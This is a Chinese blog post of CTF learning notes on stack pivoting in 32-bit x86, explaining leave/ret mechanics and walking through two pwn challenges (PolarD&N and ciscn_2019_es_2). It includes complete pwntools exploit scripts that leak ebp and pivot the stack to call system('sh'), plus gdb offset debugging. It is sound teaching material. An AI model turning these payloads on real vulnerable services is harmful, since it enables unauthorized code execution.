栈迁移
栈迁移
以polarctf中8字节能干什么为例
原题地址:PolarD&N 8字节能干什么
在做polar8字节能干什么的时候,由于在动调的时候发现看到的ebp地址与exp打出来的地址不一样,遂去问了光洋学长,跟我说这里面的地址一个是动态的一个是静态的,并建议我去学一学栈迁移。刚好之前也说过要深入学习一下栈结构,于是这周
(其实是刚刚)就学了一下。
1.栈的结构进一步认识
在 x86 架构下,栈是从高地址向低地址生长的,即随着元素的压入,栈顶指针 esp(Stack Pointer)的值会减小(在 32 位系统中每次减小 4 字节,在 16 位系统中每次减小 2 字节)。
在学习栈迁移的过程中查了一下push与pop指令,简单来说就是,在x86架构下,push就是把数据压入栈中,这个时候esp也就是栈顶会先减4,然后将push data中的data放入esp中,这样实际上也解释了栈的先进后出结构,之前也有过一些关于怎么确定将数据精准放入栈中,甚至还想过会不会有光标之类的东西做标记,现在看来也就是esp承担了一个相当于实时指针的效果(个人理解)。那么pop则是与push相反了。
一下是可视化:
高地址
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
0x1000  |       |
低地址
//初始状态
高地址
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
|       |
| 1234h | <-- esp (0x0FFC)
0x0FFC  |       |
低地址
//push 1234h之后
然后在减到一开始划分好的地址时就会call回到ebp,再接着把ebp弹出去,然后继续push时就会回到ret,这时相当于就退出了函数,继续执行程序,而栈溢出的原理其实也就在这个地方。
2.基于栈结构的栈迁移
栈迁移的核心,就在于两次的leave;ret指令上面
(1)leave
leave指令即为mov esp ebp;
                          pop ebp
先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)。因为esp要时刻指向栈顶,既然栈顶的内容都弹走了,那么esp自然要往下挪一个内存单元。如下图

(2)retn
ret指令为pop eip,这个指令就是把栈顶的内容弹进了eip(就是下一条指令执行的地址)具体实现请见下图。

[参考](栈迁移的原理&&实战运用 - ZikH26 - 博客园)
3.栈迁移基本思路
首先,有足够溢出长度,能直接栈溢出写入shellcode的当然直接用这个是最佳的,然而shellcode的长度有较多个字节,显然除了签到题之外不会这么简单,一般情况先如果溢出长度只是刚好到达ebp和retn的话,我们一般优先考虑栈溢出。
在上面知识的基础上,我们知道,一个程序中函数需要执行就必须开辟新的栈空间,此时汇编的思路是这样的:在程序执行到该函数时,在ebp中保留现在的地址(以便函数执行之后返回主程序),然后把开辟新的栈空间,在执行过后返回到ebp中,最后跳回原来的主程序。
那么,如果一个程序中有栈溢出够我们溢出到ebp和retn的话,我们可以先将ebp中的地址修改为符合栈空间的地址,随后在ret中放入leave指令(mov esp ebp pop ebp)这样我们的esp实际上就跳到了我们希望开辟的栈空间中,我们就可以在这段空间中构造一段shellcode以此获取权限。(类似ret2libc吧,转到system函数执行/bin/sh)
当然具体过程肯定会麻烦很多,因为影响程序的执行不止栈,因此我们需要进行调试
4.例题讲解
那么在理解这些知识之后,首先先看标准的wpexp:
from pwn import *
context(arch='i386',log_level='debug',os='linux')
io=process('./pwn')
gdb.attach(io)
pause()
payload=b'a'*0x2f+b'b'
io.send(payload)
io.recvuntil(b'b')
ebp=u32(io.recv(4))
print(hex(ebp))
system=0x080483E0
lea_ret=0x0804858C
payload=p32(0)*2+p32(system)+p32(0)+p32(ebp-0x2c)+b'sh\x00\x00'
payload=payload.ljust(0x30,b'a')+p32(ebp-0x40+4)+p32(lea_ret)
io.sendline(payload)
pause()
io.interactive()
显然的是,如果光看这段exp显然无法理解,那么让我们逐步来分析这道栈迁移的思路
先看反汇编的结构

主函数里的功能函数

发现shell里面有system函数的地址
![image-20250125161615505]https://images.cnblogs.com/cnblogs_com/blogs/835717/galleries/2458779/t_250617065330_image-20250125161615505.png)
leaveret地址
首先我们要进行的是获取ebp地址,为什么?
因为我们能写入shellcode的地方只有这一个vuln函数的栈,也就是说我们要在这个地方实现栈迁移。
这个是最简单的,直接栈溢出
payload1=b'a'*0x2f+b'b'
io.send(payload1)
io.recvuntil(b'b')
ebp=u32(io.recv(4)) #因为32位一个字长是四个字节,最后esp要返回的地址存在ebp中,那么肯定就是接受四字节长度的
接下来我们开始写栈溢出,按照上面的思路,我们先写上system和leaveret的地址
system_addr=0x080485ED
lea_ret_addr=0x0804858C
接下来构造payload2
首先是要写到栈里面执行的:
payload2=p32(system_addr)+p32(0)+b'sh\x00\x00'#这里其实有个小问题,因为在32位中system的参数得在它上面8字节处(隔了4字节,但是system究竟放在哪个地方我们要通过动调出来)
也就是拿shell
然后是构造栈迁移的:
payload2=payload2.ljust(30,b'a')+p32(ebp_addr-0x3c)+p32(lea_ret_addr)
后面就是交互了,于是这是初始的exp:
from pwn import *
context(arch='i386',os='linux')
p=process('./pwn')
gdb.attach(p)
payload1=b'a'*0x2f+b'b'
pause()
p.sendline(payload1)
p.recvuntil(b'b')
ebp_addr=u32(p.recv(4))
system_addr=0x080485ED
lea_ret_addr=0x0804858C
payload2=p32(system_addr)+p32(0)+b'sh\x00\x00'
payload2=payload2.ljust(0x30,b'a')+p32(ebp_addr-0x30)+p32(lea_ret_addr)
p.sendline(payload2)
p.interactive()
那么我们开始进行调试辣(个人觉得最难的部分)
![image-20250125163648205]https://images.cnblogs.com/cnblogs_com/blogs/835717/galleries/2458779/t_250617065357_image-20250125163648205.png)
这是开始调试的样子
我们输入fin来暂停程序,然后n来逐行查看程序执行情况
右边的进程查看可以对照IDA的汇编对着看,基本一样。
下面的stack就是栈结构,左边黄色就是栈上的地址,箭头指向的位置就是栈上存放的内容,我们需要在leave_ret的时候查看栈上对应地址是否跳转正确。如果不正确则需修改payload的内容。这就是对栈迁移的微调。
重温与新发现
六月的时候对栈迁移复习了一下,因为很久没遇到过了,所以很多东西也忘记了,但是结合自寒假以来对栈结构还有汇编的进一步理解,现在重新看过来,当时很多困扰自己只能死记硬背的知识现在也一下子豁然开朗了,结合一道栈迁移的题目再具体地对栈迁移的动调来记录一下。
ciscn_2019_es_2
源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF
  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
int hack()
{
  return system("echo flag");
}
其实和第一道例题源码大差不差,都是两次溢出8字节的读入,一个获取ebp地址,一个用来构造栈迁移。
由于printf的打印是遇到\x00地洞停止,我们把栈上一直到ebp之前的都覆盖,那么它就会一直打印到ebp里面存的旧址(关于ebp,rbp自身地址和存储地址的问题之前一直是糊的,也没搞明白,后来问了一下大佬稍微理解一点了,看能不能抽时间把这个也写一下),于是第一次我们可以获取到ebp里的地址,所以第一次构造payload:
from pwn import *
p=process('./ciscn_2019_es_2')
p.recvuntil(b'name?')
payload1=b'a'*0x27+b'b'
p.sendline(payload1)
p.recvuntil(b'b')
ebp=u32(p.recv(4))
第一次先执行这个,那么我们得到要leaveret的ebp的地址,后面调试计算偏移的时候要用到。

接下来考虑构造栈迁移的结构,我们在第二次读入栈上的read中要写入system地址,binsh(sh)写入栈上,获取到binsh在栈上的地址作为system执行的参数,同时通过第一次获取的ebp地址计算与我们构造栈顶的偏移从而在leaveret时在ebp中放入leave的正确地址相对偏移,之前一直都是瞎猫捉死耗子,乱调试的,看了一个师傅的wp豁然开朗,既然不会计算,那就写入特殊字符标记来确定相对位置呗
payload2=b'this'+p32(system)+p32(0)+b'that'+b'sh\x00\x00'
payload2=payload2.ljust(0x28,b'a')+p32(0)+p32(lea_ret)
that标记的就是我们构造栈迁移的栈顶,计算它与ebp的相对偏移确定在lea_ret前面传递的地址,that表示sh存放的地址,计算它与bep偏移确定that自己的值。
那么基于这个开始调试
我们要在栈顶esp执行到我们想要的构造栈顶位置是查看偏移,即esp指向字符'this'时查看栈结构

接下来计算偏移
distance 0xaddr 0xaddr就可以直接得到地址之间的偏移

这就是ebp到esp的偏移,然后就是sh的存储位置(当然写入binsh也可以但是占两个字长我就不试了)
附上调试sh位置过程

根据前面的stack查看一下具体位置,由于是小端序,所以6872就是sh,也就是在0xffe47b10这个地方(仅对于本人调试的这个题),所以我们计算这个偏移
![image-20250606090623203]https://images.cnblogs.com/cnblogs_com/blogs/835717/galleries/2458779/t_250617065449_image-20250606090623203.png)
最终得出了两个偏移地址
我们根据这个更改payload2
payload2=b'this'+p32(system)+p32(0)+p32(ebp-0x28)+b'sh\x00\x00'
payload2=payload2.ljust(0x28,b'a')+p32(ebp-0x38)+p32(lea_ret)#对照上面的payload2就知道改了什么

如果能够成功看到system@plt的话基本就成功了(当然还要看一下参数是不是sh)

本地结果
完整exp:
from pwn import *
#p = remote("node3.buuoj.cn",27236)
p = process("./ciscn_2019_es_2")
#gdb.attach(p, "b *0x080485FC")
#pause()
system = 0x8048400
lea_ret = 0x080484b8
payload1 = 'a' * 0x27 + 'p'
p.send(payload1)
p.recvuntil('p')
ebp = u32(p.recv(4))
print(hex(ebp))
payload2=b'this'+p32(system)+p32(0)+p32(ebp-0x28)+b'sh\x00\x00'
payload2=payload2.ljust(0x28,b'a')+p32(ebp-0x38)+p32(lea_ret)
p.sendline(payload2)
#pause()
p.interactive()
后面调试方法参考大佬的文章:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)-CSDN博客
前面找的原理也是参考某大佬的图,但是具体是哪个我也没找到了

                
            
        
浙公网安备 33010602011771号